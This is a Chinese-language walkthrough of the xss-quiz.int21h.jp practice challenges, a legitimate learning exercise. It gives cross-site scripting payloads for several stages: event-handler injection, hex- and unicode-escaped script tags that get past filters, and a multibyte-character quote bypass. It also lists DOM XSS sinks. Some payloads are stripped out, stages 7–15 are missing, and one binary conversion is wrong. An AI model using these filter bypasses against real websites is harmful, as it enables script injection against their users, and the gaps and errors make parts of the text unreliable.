2013 XSS Challenges Stage 解题报告

xss: http://xss-quiz.int21h.jp/

这是一个日本的孩子写得xss测试关卡,一共19关,对大神来说可能没什么。。

但是对我这个小菜来说,感觉学到了很多东西。。

在解题的过程中,特别感谢蓝蓝大神的倾心指导。。

这次过关,也算是对xss的一个入门吧。。


==========================================================

1.

http://xss-quiz.int21h.jp/?sid=2a75ff06e0147586b7ceb0fe68ee443b86a6e7b9

Hint: very simple...

用IE浏览器:

1""1


2.

http://xss-quiz.int21h.jp/stage2.php?sid=f2d7d60125bdddb208fa757ee5cdae22f6818cd1
Hint: close the current tag and add SCRIPT tag...  

用IE浏览器:

1""1


3.

http://xss-quiz.int21h.jp/stage-3.php?sid=3cd1eb9b27daae73478e861bb2476768d7dda3b1
Hint: The input in text box is properly escaped.    


被过滤
<  <
>  >
&  &
"  "
个人觉得,从搜索这方面已经没法绕过了


表单源代码如下:
Search a place:   Choose a country:
We couldn't find any places called "<>#&" in Japan.

听别的大神说要绕过select。。。
尝试绕过select,在浏览器地址栏输入:
javascript:void(document.forms[0].p2.childNodes[1].innerText='');
OK


4.
http://xss-quiz.int21h.jp/stage_4.php?sid=04fb39847db7e3f24b1287a4be7e22b1ba79ec74
Hint: invisible input field

修改hackme的那个input的type为text,
在输入框中输入:
"/>"



5.
http://xss-quiz.int21h.jp/stage--5.php?sid=40b33710efa4a848d21b5a6dd47671e82c31d853
Hint: length limited text box

把maxlength=15改成:200
在输入框中输入:
"/>"




6.
http://xss-quiz.int21h.jp/stage-no6.php?sid=236f8f125f43d1efffd8f96d6f8f5b590d880847
Hint: event handler attributes

提示是:event handler attributes
英语不好,乍一看被这三个单词唬住了。。
后来翻阅资料才知道:
类似:
就是event handler attributes...

输入框输入:
" οnmοusemοve="alert(document.domain)

==================无聊别看==========================
Ps:
XSS利用的时候,分3大类

一、Features that allow scripting 特性
Script tags:  
  
发现题目把
<变成了<
>变成了>
怎么绕过<和>呢?
16进制编码:
< 变成了 \x3c 
> 变成了 \x3e
\x3cscript\x3ealert(document.domain);\x3c/script\x3e  ERROR
过滤了单个\
\\x3cscript\\x3ealert(document.domain);\\x3c/script\\x3e  OK


16.
http://xss-quiz.int21h.jp/stage00000016.php?sid=4ba92c2b20cd3b70e153bf21a63f21391fe8d589
Hint: "document.write();" and "s/\\x/\\\\x/ig;"  

这个正则摆明了就是要吃掉16进制,我们换其他的表达方式:十进制\60, \u003c
为什么这里要两个\\,是为了在写我们插入的代码的时候换一个\
\\60script\\62alert(document.domain);\\60/script\\62                       ERROR 
\\0060script\\0062alert(document.domain);\\0060/script\\0062        ERROR
\\u003cscript\\u003ealert(document.domain);\\u003c/script\\u003e  OK

在这里把能引起Dom XSS的入口函数总结下:
document.write()  
document.writeln()  
document.body.innerHtml  
eval()  
window.execScript()  
window.setInterval()  
window.setTimeout() 


17.
http://xss-quiz.int21h.jp/stage-No17.php?sid=ba90ec457c25fad90c2715a86fe3a07be846dc7f
Hint: multi-byte character

半角片假名使用两个字节来表示。
“第一位字节”使用0x8E
“第二位字节”使用0xA1-0xDF

JIS X 0208字元使用两个字节来表示。
“第一位字节”使用0xA1-0xFE
“第二位字节”使用0xA1-0xFE

JIS X 0212字元使用三个字节来表示。
“第一位字节”使用0x8F
“第二位字节”使用0xA1-0xFE
“第三位字节”使用0xA1-0xFE

双引号是0x22,这道题应该在Name框中使用某个东东吃掉Name框第二个“
然后和Mail框的第一个“闭合
看了下别人的答案,思路都差不多:
最终效果:
1%A7&p2=+onmouseover%3Dalert%28document.domain%29%3B+%A7
但是版本问题,没法显示。。


Ps:楼上的%A7,是要抓包,修改的,而不是在请求的时候修改,记得把length修改对。

Ps:楼上的%A7,是随意的,只要是符合上面说的第一个字节范围即可。。


18.

http://xss-quiz.int21h.jp/stage__No18.php?sid=4293f3e546c32c4dc375b8063896254e64fc9198
Hint: us-ascii high bit issue

本来没什么思路,看了下别人的答案,大概知道了:

就是把最高位置为1即可

比如说:

< 的16进制是3C,2进制是0011 1011,最高位置为1之后,变成1011 1011 ,也就是BC

> 同理变成BE

“ 同理变成A2

所以:

">
                    
                    

你可能感兴趣的:(安全)